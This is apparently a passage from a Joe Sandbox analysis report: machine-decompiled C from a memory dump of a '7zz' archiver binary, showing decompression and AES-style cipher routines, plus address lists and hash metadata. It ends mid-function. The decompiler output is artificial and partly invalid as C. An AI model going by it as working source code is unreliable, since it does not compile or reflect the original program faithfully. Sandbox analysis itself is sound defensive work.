												if(_t318 ==  *(_t413 + 0x10)) {
													break;
												}
												_t389 = _t389 + (_t253[1] & 0x000000ff &  *(_t413 + _t318 + 0x1c));
												_t253 =  &(_t253[6]);
												_t358 = _t358 - 1;
												__eflags = _t358;
												 *(_t413 + _t318 + 0x1c) = 0;
												if(_t358 != 0) {
													continue;
												} else {
													_t330 =  *(_t413 + 0x14);
													_t265 = _t396[0x12] / (_t389 + _t330);
													_t396[0x14] = _t396[0x14] + _t265 * _t389;
													_t266 = _t265 * _t330;
													__eflags = _t266;
													_t396[0x12] = _t266;
													while(1) {
														_t369 = _t396[0x14];
														_t267 = _t396[0x12];
														__eflags = (_t369 + _t267 ^ _t369) - 0x1000000;
														if((_t369 + _t267 ^ _t369) < 0x1000000) {
															goto L45;
														}
														L43:
														__eflags = _t267 - 0x8000;
														if(_t267 < 0x8000) {
															_t273 =  ~_t369 & 0x00007fff;
															__eflags = _t273;
															_t396[0x12] = _t273;
															goto L45;
														}
														 *( *(_t413 + 0x18)) =  *( *(_t413 + 0x18)) +  *(_t413 + 0x14) + _t389;
														goto L35;
														L45:
														 *( *(_t396[0x15]))();
														_t396[0x12] = _t396[0x12] << 8;
														_t396[0x14] = _t396[0x14] << 8;
														_t369 = _t396[0x14];
														_t267 = _t396[0x12];
														__eflags = (_t369 + _t267 ^ _t369) - 0x1000000;
														if((_t369 + _t267 ^ _t369) < 0x1000000) {
															goto L45;
														}
														goto L43;
													}
												}
												goto L58;
											}
											_t294 = _t389;
											 *(_t413 + 0x10) = _t253;
											do {
												_t389 = _t389 + ( *(_t413 + ( *_t253 & 0x000000ff) + 0x1c) & _t253[1] & 0x000000ff);
												_t253 =  &(_t253[6]);
												_t358 = _t358 - 1;
												__eflags = _t358;
											} while (_t358 != 0);
											_t390 = _t389 +  *(_t413 + 0x14);
											_t255 = _t396[0x12] / (_t389 +  *(_t413 + 0x14));
											_t409 =  *(_t413 + 0x10);
											_t396[0x14] = _t396[0x14] + _t255 * _t294;
											_t396[0x12] = _t255 * (_t409[1] & 0x000000ff);
											while(1) {
												_t362 = _t396[0x14];
												_t257 = _t396[0x12];
												__eflags = (_t362 + _t257 ^ _t362) - 0x1000000;
												if((_t362 + _t257 ^ _t362) < 0x1000000) {
													goto L53;
												}
												__eflags = _t257 - 0x8000;
												if(_t257 < 0x8000) {
													_t263 =  ~_t362 & 0x00007fff;
													__eflags = _t263;
													_t396[0x12] = _t263;
													goto L53;
												}
												_t260 =  *(_t413 + 0x18);
												_t326 = _t260[1];
												__eflags = _t326 - 7;
												if(_t326 < 7) {
													_t235 =  &(_t260[1]);
													 *_t235 = _t260[1] - 1;
													__eflags =  *_t235;
													if( *_t235 == 0) {
														 *_t260 =  *_t260 << 1;
														_t328 = _t326 + 1;
														__eflags = _t328;
														_t260[1] = _t328;
														_t260[1] = 3 << _t326;
													}
												}
												_t396[2] = _t409;
												_t250 = E00466970(_t396, _t390);
												goto L58;
												L53:
												 *( *(_t396[0x15]))();
												_t396[0x12] = _t396[0x12] << 8;
												_t396[0x14] = _t396[0x14] << 8;
											}
										}
										break;
									}
									L58:
									return _t250;
									goto L59;
								}
							}
							goto L59;
						}
						__ebx =  *(__edx + 2) & 0x0000ffff;
						__eax =  *(__esi + 0x48);
						__edx = 0;
						_t116 = __eax % __ebx;
						__eax = __eax / __ebx;
						__edx = _t116;
						 *(__esi + 0x48) = __eax;
						__eax = __eax * __ebp;
						__edx =  *(__esi + 0x48);
						 *((intOrPtr*)(__esi + 0x50)) =  *((intOrPtr*)(__esi + 0x50)) + __eax;
						__edx =  *(__esi + 0x48) * __ecx;
						 *(__esi + 0x48) =  *(__esi + 0x48) * __ecx;
						__eax = E00466DF0(__esi);
						 *(__esi + 8) = __edi;
						_pop(__edi);
						__ecx = __esi;
						_pop(__esi);
						_pop(__ebp);
						_pop(__ebx);
						__esp = __esp + 0x10c;
						_push(_t396);
						_t402 = _t302;
						_t285 = _t402[2];
						 *((intOrPtr*)(_t285 + 1)) =  *((intOrPtr*)(_t285 + 1)) + 4;
						 *((intOrPtr*)( *_t402 + 2)) =  *((intOrPtr*)( *_t402 + 2)) + 4;
						if( *((intOrPtr*)(_t285 + 1)) >  *((intOrPtr*)(_t285 - 5))) {
							_t346 = _t285 - 6;
							_push(_t292);
							_push(_t379);
							 *_t285 =  *_t346;
							 *((short*)(_t285 + 4)) =  *((intOrPtr*)(_t346 + 4));
							 *_t346 =  *_t285;
							 *((short*)(_t346 + 4)) =  *((intOrPtr*)(_t285 + 4));
							_t402[2] = _t346;
							if( *((char*)(_t346 + 1)) > 0x7c) {
								E00466580(_t402);
							}
						}
						_t288 = ( *(_t402[2] + 4) & 0x0000ffff) << 0x00000010 |  *(_t402[2] + 2) & 0x0000ffff;
						if(_t402[3] != 0 || _t288 < _t402[0xf]) {
							E004661F0(_t402);
							_t290 = _t402[1];
							 *_t402 = _t290;
							return _t290;
						} else {
							_t402[1] = _t288;
							 *_t402 = _t288;
							return _t288;
						}
					} else {
						__ebx =  *(__eax + 2) & 0x0000ffff;
						__eax =  *(__esi + 0x48);
						__edx = 0;
						_t62 = __eax % __ebx;
						__eax = __eax / __ebx;
						__edx = _t62;
						__ecx =  *(__edi + 1) & 0x000000ff;
						 *(__esi + 0x48) = __eax;
						__eax = E00466DF0(__esi);
						 *(__esi + 8) = __edi;
						_pop(__edi);
						__ecx = __esi;
						_pop(__esi);
						_pop(__ebp);
						_pop(__ebx);
						__esp = __esp + 0x10c;
						_push(__ebx);
						_push(__esi);
						__esi = __ecx;
						__ecx =  *(__esi + 8);
						__edx =  *( *(__esi + 8) + 1) & 0x000000ff;
						__eax =  *__esi;
						__ecx =  *(__eax + 2) & 0x0000ffff;
						__ebx = 0;
						__edx = ( *( *(__esi + 8) + 1) & 0x000000ff) + ( *( *(__esi + 8) + 1) & 0x000000ff);
						__eflags = ( *( *(__esi + 8) + 1) & 0x000000ff) + ( *( *(__esi + 8) + 1) & 0x000000ff) - ( *(__eax + 2) & 0x0000ffff);
						__ebx = 0 | __eflags >= 0x00000000;
						__ecx = __eflags >= 0;
						 *((intOrPtr*)(__esi + 0x1c)) =  *((intOrPtr*)(__esi + 0x1c)) + __ecx;
						 *(__esi + 0x14) = __ecx;
						 *(__eax + 2) =  *(__eax + 2) + 4;
						__eax =  *(__esi + 8);
						 *(__eax + 1) & 0x000000ff = ( *(__eax + 1) & 0x000000ff) + 4;
						 *(__eax + 1) = __cl;
						__eflags = __cl - 0x7c;
						if(__cl > 0x7c) {
							__edi = __esi;
							__eax = E00466580(__esi);
							__edi = __edi;
						}
						__ecx =  *(__esi + 8);
						__eax =  *(__ecx + 4) & 0x0000ffff;
						__edx =  *(__ecx + 2) & 0x0000ffff;
						__eax = ( *(__ecx + 4) & 0x0000ffff) << 0x10;
						__eax = ( *(__ecx + 4) & 0x0000ffff) << 0x00000010 |  *(__ecx + 2) & 0x0000ffff;
						__eflags =  *(__esi + 0xc);
						if( *(__esi + 0xc) != 0) {
							L14:
							__eax = E004661F0(__esi);
							__eax =  *(__esi + 4);
							 *__esi = __eax;
							_pop(__esi);
							_pop(__ebx);
							return __eax;
						} else {
							__eflags = __eax -  *((intOrPtr*)(__esi + 0x3c));
							if(__eax <  *((intOrPtr*)(__esi + 0x3c))) {
								goto L14;
							} else {
								 *(__esi + 4) = __eax;
								 *__esi = __eax;
								_pop(__esi);
								_pop(__ebx);
								return __eax;
							}
						}
					}
				}
				L59:
			}

0x00466e30
0x00466e30
0x00466e39
0x00466e3b
0x00466e41
0x00466e45
0x00466f80
0x00466f8c
0x00466f93
0x00466f95
0x00466fd0
0x00466fd6
0x00466fde
0x00466feb
0x00466fee
0x00466ff6
0x00466ff9
0x00466ffc
0x00467001
0x0046700e
0x00467011
0x00467013
0x00467020
0x00467020
0x00467024
0x00467028
0x0046702c
0x00467030
0x00467034
0x00467038
0x0046703c
0x00467040
0x00467043
0x00467043
0x0046704c
0x00467051
0x00000000
0x00466f97
0x00466fa3
0x00466fa6
0x00466fae
0x00466fb1
0x00466fb9
0x00466fbd
0x00466fc0
0x00466fc2
0x00466921
0x00466923
0x00466926
0x00466929
0x00466931
0x0046693c
0x0046693f
0x0046694d
0x0046694f
0x00466953
0x00466961
0x00466961
0x00466969
0x0046696c
0x00466955
0x00466955
0x00466958
0x00000000
0x0046695a
0x0046695a
0x0046695d
0x00466960
0x00466960
0x00466958
0x00466953
0x00466e4b
0x00466e4b
0x00466e4e
0x00466e51
0x00466e53
0x00466e83
0x00466e85
0x00466e8c
0x00466e8f
0x00466e93
0x00466e95
0x00466e95
0x00466e99
0x00466e9c
0x00466ea0
0x00466ea4
0x00000000
0x00000000
0x00466ea6
0x00466ea8
0x00466ea8
0x00466ea9
0x00000000
0x00466eab
0x00466eab
0x00466eab
0x00466eb0
0x00466eb0
0x00466eb4
0x00466eb8
0x00466ebc
0x00466ec0
0x00466ec4
0x00466ec8
0x00466ecc
0x00466ed0
0x00466ed3
0x00466ed3
0x00466ed8
0x00466edb
0x00466ee0
0x00466ee2
0x00466ee2
0x00466ee6
0x00466ee9
0x00466ee9
0x00466eea
0x00466eea
0x00466ef1
0x00466ef5
0x00466ef8
0x00466efa
0x00466efa
0x00466efa
0x00466efe
0x00466f00
0x00466f03
0x00466f06
0x00466f09
0x00466f0c
0x00466f0f
0x00466f12
0x00467058
0x00467058
0x0046705a
0x00467060
0x00467060
0x00467065
0x00467068
0x0046706a
0x00000000
0x00000000
0x00467070
0x00467075
0x00467077
0x00000000
0x00467079
0x00467080
0x00467085
0x0046708a
0x0046708e
0x00467091
0x00467093
0x004670a0
0x004670a0
0x004670a3
0x004670a7
0x00000000
0x00000000
0x004670bc
0x004670be
0x004670c1
0x004670c1
0x004670c2
0x004670c5
0x00000000
0x004670c7
0x004670c7
0x004670d1
0x004670d8
0x004670db
0x004670db
0x004670de
0x004670e1
0x004670e1
0x004670e4
0x004670ec
0x004670f2
0x00000000
0x00000000
0x004670f4
0x004670f4
0x004670f9
0x004670ff
0x004670ff
0x00467104
0x00000000
0x00467104
0x00467125
0x00000000
0x00467107
0x0046710f
0x00467111
0x00467115
0x004670e1
0x004670e4
0x004670ec
0x004670f2
0x00000000
0x00000000
0x00000000
0x004670f2
0x004670e1
0x00000000
0x004670c5
0x0046712d
0x0046712f
0x00467133
0x00467141
0x00467143
0x00467146
0x00467146
0x00467146
0x00467149
0x00467150
0x00467152
0x0046715f
0x00467165
0x00467170
0x00467170
0x00467173
0x0046717b
0x00467181
0x00000000
0x00000000
0x00467183
0x00467188
0x0046718e
0x0046718e
0x00467193
0x00000000
0x00467193
0x004671aa
0x004671ae
0x004671b1
0x004671b4
0x004671b6
0x004671b6
0x004671b6
0x004671b9
0x004671bb
0x004671c2
0x004671c2
0x004671c4
0x004671c7
0x004671c7
0x004671b9
0x004671cc
0x004671cf
0x00000000
0x00467196
0x0046719e
0x004671a0
0x004671a4
0x004671a4
0x00467170
0x00000000
0x00467077
0x004671d4
0x004671de
0x00000000
0x004671de
0x00467058
0x00000000
0x00466ea9
0x00466f1c
0x00466f20
0x00466f23
0x00466f25
0x00466f25
0x00466f25
0x00466f27
0x00466f2a
0x00466f2d
0x00466f30
0x00466f33
0x00466f36
0x00466f39
0x00466f3e
0x00466f41
0x00466f42
0x00466f44
0x00466f45
0x00466f46
0x00466f47
0x00466820
0x00466821
0x00466823
0x0046682b
0x00466830
0x0046683a
0x0046683e
0x00466841
0x00466844
0x00466849
0x0046684f
0x00466853
0x00466855
0x00466859
0x00466860
0x00466864
0x00466864
0x0046686a
0x00466879
0x0046687f
0x0046688d
0x00466892
0x00466895
0x00466898
0x00466886
0x00466886
0x00466889
0x0046688c
0x0046688c
0x00466e55
0x00466e55
0x00466e59
0x00466e5c
0x00466e5e
0x00466e5e
0x00466e5e
0x00466e60
0x00466e67
0x00466e6a
0x00466e6f
0x00466e72
0x00466e73
0x00466e75
0x00466e76
0x00466e77
0x00466e78
0x004668a0
0x004668a1
0x004668a2
0x004668a4
0x004668a7
0x004668ab
0x004668ad
0x004668b1
0x004668b3
0x004668b5
0x004668b7
0x004668ba
0x004668bc
0x004668bf
0x004668c2
0x004668c7
0x004668ce
0x004668d1
0x004668d4
0x004668d7
0x004668da
0x004668dc
0x004668e1
0x004668e1
0x004668e2
0x004668e5
0x004668e9
0x004668ed
0x004668f0
0x004668f2
0x004668f6
0x00466905
0x00466905
0x0046690a
0x0046690d
0x0046690f
0x00466910
0x00466911
0x004668f8
0x004668f8
0x004668fb
0x00000000
0x004668fd
0x004668fd
0x00466900
0x00466902
0x00466903
0x00466904
0x00466904
0x004668fb
0x004668f6
0x00466e53
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c55919b5aef1fa672d30966e0c4461599b635d46d04c924c9e983bb8ba431358
Instruction ID: 2116c1619d0707e95bcb97f7fad07b012c132014ac60db8612d006e7185b6878
Opcode Fuzzy Hash: c55919b5aef1fa672d30966e0c4461599b635d46d04c924c9e983bb8ba431358
Instruction Fuzzy Hash: 98C1E2716087518FC328CF2DD490126FBE2AF89304F298A6FE1D687791D339E545CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0046A460 Relevance: .3, Instructions: 300
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0046A460(intOrPtr* __eax, signed int* __ecx) {
				signed int* _t169;
				unsigned int _t171;
				unsigned int _t178;
				unsigned int _t213;
				signed int* _t254;
				unsigned int _t262;
				unsigned int _t266;
				unsigned int _t273;
				unsigned int _t284;
				unsigned int _t289;
				signed int _t365;
				unsigned int _t375;
				unsigned int _t385;
				signed int _t409;
				void* _t437;

				_t171 =  *(__eax + 0x1c) ^ __ecx[3];
				_t266 =  *(__eax + 0x14) ^ __ecx[1];
				 *((intOrPtr*)(_t437 + 0xc)) =  *__eax;
				_t213 =  *(__eax + 0x18) ^ __ecx[2];
				_t289 =  *(__eax + 0x10) ^  *__ecx;
				 *(_t437 + 0x2c) = _t266;
				 *(_t437 + 0x14) = _t266 >> 0x00000008 & 0x000000ff;
				 *(_t437 + 0x28) = _t289;
				_t375 =  *(0x491968 + (_t171 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x491d68 + (_t289 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x492168 + (_t266 >> 0x18) * 4) ^  *(0x491568 + (_t213 & 0x000000ff) * 4) ^  *(__eax + 0x28);
				_t273 =  *(0x491d68 + (_t213 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x491968 +  *(_t437 + 0x14) * 4) ^  *(0x492168 + (_t171 >> 0x18) * 4) ^  *(0x491568 + (_t289 & 0x000000ff) * 4) ^  *(__eax + 0x20);
				_t169 = __eax + 0x20;
				_t409 =  *(0x491d68 + ( *(_t437 + 0x2c) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x491968 + (_t289 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492168 + (_t213 >> 0x18) * 4) ^  *(0x491568 + (_t171 & 0x000000ff) * 4) ^ _t169[3];
				_t178 =  *(0x491d68 + (_t171 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x491968 + (_t213 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492168 + ( *(_t437 + 0x28) >> 0x18) * 4) ^  *(0x491568 + ( *(_t437 + 0x2c) & 0x000000ff) * 4) ^ _t169[1];
				_t52 = _t437 + 0x10;
				 *_t52 =  *((intOrPtr*)(_t437 + 0x10)) - 1;
				 *(_t437 + 0x20) = _t375;
				 *(_t437 + 0x18) = _t273;
				if( *_t52 != 0) {
					do {
						 *(_t437 + 0x14) = _t375 >> 0x00000010 & 0x000000ff;
						 *(_t437 + 0x14) = _t273 >> 0x00000008 & 0x000000ff;
						_t385 =  *(0x491968 + (_t178 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x491d68 +  *(_t437 + 0x14) * 4) ^  *(0x492168 + (_t409 >> 0x18) * 4) ^  *(0x491568 + (_t273 & 0x000000ff) * 4) ^ _t169[4];
						_t284 =  *(0x491d68 + (_t178 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x491968 +  *(_t437 + 0x14) * 4) ^  *(0x492168 + ( *(_t437 + 0x20) >> 0x18) * 4) ^  *(0x491568 + (_t409 & 0x000000ff) * 4) ^ _t169[7];
						_t262 =  *(0x491968 + (_t409 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x491d68 + (_t273 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x492168 + (_t178 >> 0x18) * 4) ^  *(0x491568 + (_t375 & 0x000000ff) * 4) ^ _t169[6];
						 *(_t437 + 0x14) =  *(_t437 + 0x20) >> 0x00000008 & 0x000000ff;
						_t365 =  *(0x491d68 + (_t409 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x491968 +  *(_t437 + 0x14) * 4) ^  *(0x492168 + ( *(_t437 + 0x18) >> 0x18) * 4) ^  *(0x491568 + (_t178 & 0x000000ff) * 4) ^ _t169[5];
						_t169 =  &(_t169[8]);
						 *(_t437 + 0x20) =  *(0x491968 + (_t284 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x491d68 + (_t385 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x492168 + (_t365 >> 0x18) * 4) ^  *(0x491568 + (_t262 & 0x000000ff) * 4) ^ _t169[2];
						 *(_t437 + 0x18) =  *(0x491d68 + (_t262 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x491968 + (_t365 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492168 + (_t284 >> 0x18) * 4) ^  *(0x491568 + (_t385 & 0x000000ff) * 4) ^  *_t169;
						_t409 =  *(0x491d68 + (_t365 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x491968 + (_t385 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492168 + (_t262 >> 0x18) * 4) ^  *(0x491568 + (_t284 & 0x000000ff) * 4) ^ _t169[3];
						_t273 =  *(_t437 + 0x18);
						_t375 =  *(_t437 + 0x20);
						_t178 =  *(0x491d68 + (_t284 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x491968 + (_t262 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492168 + (_t385 >> 0x18) * 4) ^  *(0x491568 + (_t365 & 0x000000ff) * 4) ^ _t169[1];
						_t140 = _t437 + 0x10;
						 *_t140 =  *((intOrPtr*)(_t437 + 0x10)) - 1;
					} while ( *_t140 != 0);
				}
				 *( *(_t437 + 0x3c)) = ((( *((_t375 >> 0x00000010 & 0x000000ff) + 0x48dc78) & 0x000000ff | ( *((_t409 >> 0x18) + 0x48dc78) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t178 >> 0x00000008 & 0x000000ff) + 0x48dc78) & 0x000000ff) << 0x00000008 |  *((_t273 & 0x000000ff) + 0x48dc78) & 0x000000ff) ^ _t169[4];
				( *(_t437 + 0x3c))[1] = ((( *((_t409 >> 0x00000010 & 0x000000ff) + 0x48dc78) & 0x000000ff | ( *((_t273 >> 0x18) + 0x48dc78) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t375 >> 0x00000008 & 0x000000ff) + 0x48dc78) & 0x000000ff) << 0x00000008 |  *((_t178 & 0x000000ff) + 0x48dc78) & 0x000000ff) ^ _t169[5];
				_t254 =  *(_t437 + 0x3c);
				_t254[2] = ((( *((_t273 >> 0x00000010 & 0x000000ff) + 0x48dc78) & 0x000000ff | ( *((_t178 >> 0x18) + 0x48dc78) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t409 >> 0x00000008 & 0x000000ff) + 0x48dc78) & 0x000000ff) << 0x00000008 |  *((_t375 & 0x000000ff) + 0x48dc78) & 0x000000ff) ^ _t169[6];
				_t254[3] = ((( *((_t178 >> 0x00000010 & 0x000000ff) + 0x48dc78) & 0x000000ff | ( *((_t375 >> 0x18) + 0x48dc78) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t273 >> 0x00000008 & 0x000000ff) + 0x48dc78) & 0x000000ff) << 0x00000008 |  *((_t409 & 0x000000ff) + 0x48dc78) & 0x000000ff) ^ _t169[7];
				return _t169;
			}

0x0046a46e
0x0046a471
0x0046a476
0x0046a47d
0x0046a484
0x0046a4c5
0x0046a4dd
0x0046a515
0x0046a529
0x0046a52c
0x0046a57c
0x0046a599
0x0046a59c
0x0046a59f
0x0046a59f
0x0046a5a3
0x0046a5a7
0x0046a5ab
0x0046a5b1
0x0046a604
0x0046a649
0x0046a66f
0x0046a683
0x0046a68f
0x0046a69b
0x0046a6ce
0x0046a70e
0x0046a714
0x0046a75e
0x0046a7a8
0x0046a7b1
0x0046a7cf
0x0046a7e0
0x0046a7e3
0x0046a7e3
0x0046a7e3
0x0046a5b1
0x0046a842
0x0046a899
0x0046a8ed
0x0046a8f1
0x0046a93d
0x0046a947

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d85033acdc5af3603231ca3bb88f19969520e1c4114c2203dc3061eb624cb0d
Instruction ID: 75d05c7fad47a1a52beca39c83a488ef50f93caae19ee7ec22463264903e5419
Opcode Fuzzy Hash: 9d85033acdc5af3603231ca3bb88f19969520e1c4114c2203dc3061eb624cb0d
Instruction Fuzzy Hash: 01D1BB728147A74FE318DF5DDC902357762AFD8250F0B063AC7951B2A2CB34BA11DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0046A950 Relevance: .3, Instructions: 300
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0046A950(signed int* __eax, signed int* __ecx) {
				signed int* _t170;
				signed int* _t171;
				unsigned int _t173;
				unsigned int _t180;
				signed int _t213;
				signed int _t214;
				unsigned int _t216;
				signed int* _t257;
				unsigned int _t265;
				unsigned int _t269;
				unsigned int _t283;
				unsigned int _t294;
				unsigned int _t299;
				signed int _t375;
				unsigned int _t385;
				unsigned int _t395;
				signed int _t411;
				void* _t439;

				_t213 =  *__eax;
				 *(_t439 + 0xc) = _t213;
				_t214 = _t213 << 5;
				_t173 =  *(__eax + _t214 + 0x1c) ^ __ecx[3];
				_t269 =  *(__eax + _t214 + 0x18) ^ __ecx[2];
				_t170 = __eax + _t214 + 0x10;
				_t216 =  *_t170 ^  *__ecx;
				 *(_t439 + 0x2c) = _t269;
				_t299 = _t170[1] ^ __ecx[1];
				 *(_t439 + 0x2c) = _t299;
				_t385 =  *(0x492968 + (_t173 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492d68 + (_t269 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x493168 + (_t299 >> 0x18) * 4) ^  *(0x492568 + (_t216 & 0x000000ff) * 4) ^  *(_t170 - 0x10);
				_t283 =  *(0x492968 + (_t299 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492d68 + (_t216 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x493168 + (_t173 >> 0x18) * 4) ^  *(0x492568 + ( *(_t439 + 0x30) & 0x000000ff) * 4) ^  *(_t170 - 8);
				_t171 = _t170 - 0x20;
				_t411 =  *(0x492968 + ( *(_t439 + 0x30) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492d68 + (_t299 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x493168 + (_t216 >> 0x18) * 4) ^  *(0x492568 + (_t173 & 0x000000ff) * 4) ^ _t171[7];
				_t180 =  *(0x492d68 + (_t173 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x492968 + (_t216 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x493168 + ( *(_t439 + 0x30) >> 0x18) * 4) ^  *(0x492568 + ( *(_t439 + 0x2c) & 0x000000ff) * 4) ^ _t171[5];
				_t54 = _t439 + 0x10;
				 *_t54 =  *((intOrPtr*)(_t439 + 0x10)) - 1;
				 *(_t439 + 0x18) = _t385;
				 *(_t439 + 0x20) = _t283;
				if( *_t54 != 0) {
					do {
						 *(_t439 + 0x14) = _t385 >> 0x00000010 & 0x000000ff;
						 *(_t439 + 0x14) = _t283 >> 0x00000008 & 0x000000ff;
						_t395 =  *(0x492968 + (_t180 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492d68 +  *(_t439 + 0x14) * 4) ^  *(0x493168 + (_t411 >> 0x18) * 4) ^  *(0x492568 + (_t283 & 0x000000ff) * 4) ^ _t171[2];
						_t294 =  *(0x492d68 + (_t180 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x492968 +  *(_t439 + 0x14) * 4) ^  *(0x493168 + ( *(_t439 + 0x18) >> 0x18) * 4) ^  *(0x492568 + (_t411 & 0x000000ff) * 4) ^ _t171[3];
						_t265 =  *(0x492968 + (_t411 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492d68 + (_t283 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x493168 + (_t180 >> 0x18) * 4) ^  *(0x492568 + (_t385 & 0x000000ff) * 4) ^  *_t171;
						 *(_t439 + 0x14) =  *(_t439 + 0x18) >> 0x00000008 & 0x000000ff;
						_t375 =  *(0x492d68 + (_t411 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x492968 +  *(_t439 + 0x14) * 4) ^  *(0x493168 + ( *(_t439 + 0x20) >> 0x18) * 4) ^  *(0x492568 + (_t180 & 0x000000ff) * 4) ^ _t171[1];
						_t171 = _t171 - 0x20;
						 *(_t439 + 0x18) =  *(0x492968 + (_t294 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492d68 + (_t395 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x493168 + (_t375 >> 0x18) * 4) ^  *(0x492568 + (_t265 & 0x000000ff) * 4) ^ _t171[4];
						 *(_t439 + 0x20) =  *(0x492968 + (_t375 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492d68 + (_t265 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x493168 + (_t294 >> 0x18) * 4) ^  *(0x492568 + (_t395 & 0x000000ff) * 4) ^ _t171[6];
						_t411 =  *(0x492968 + (_t395 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x492d68 + (_t375 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x493168 + (_t265 >> 0x18) * 4) ^  *(0x492568 + (_t294 & 0x000000ff) * 4) ^ _t171[7];
						_t283 =  *(_t439 + 0x20);
						_t385 =  *(_t439 + 0x18);
						_t180 =  *(0x492d68 + (_t294 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x492968 + (_t265 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x493168 + (_t395 >> 0x18) * 4) ^  *(0x492568 + (_t375 & 0x000000ff) * 4) ^ _t171[5];
						_t142 = _t439 + 0x10;
						 *_t142 =  *((intOrPtr*)(_t439 + 0x10)) - 1;
					} while ( *_t142 != 0);
				}
				 *( *(_t439 + 0x3c)) = ((( *((_t283 >> 0x00000010 & 0x000000ff) + 0x493568) & 0x000000ff | ( *((_t180 >> 0x18) + 0x493568) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t411 >> 0x00000008 & 0x000000ff) + 0x493568) & 0x000000ff) << 0x00000008 |  *((_t385 & 0x000000ff) + 0x493568) & 0x000000ff) ^  *_t171;
				( *(_t439 + 0x3c))[1] = ((( *((_t411 >> 0x00000010 & 0x000000ff) + 0x493568) & 0x000000ff | ( *((_t283 >> 0x18) + 0x493568) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t385 >> 0x00000008 & 0x000000ff) + 0x493568) & 0x000000ff) << 0x00000008 |  *((_t180 & 0x000000ff) + 0x493568) & 0x000000ff) ^ _t171[1];
				_t257 =  *(_t439 + 0x3c);
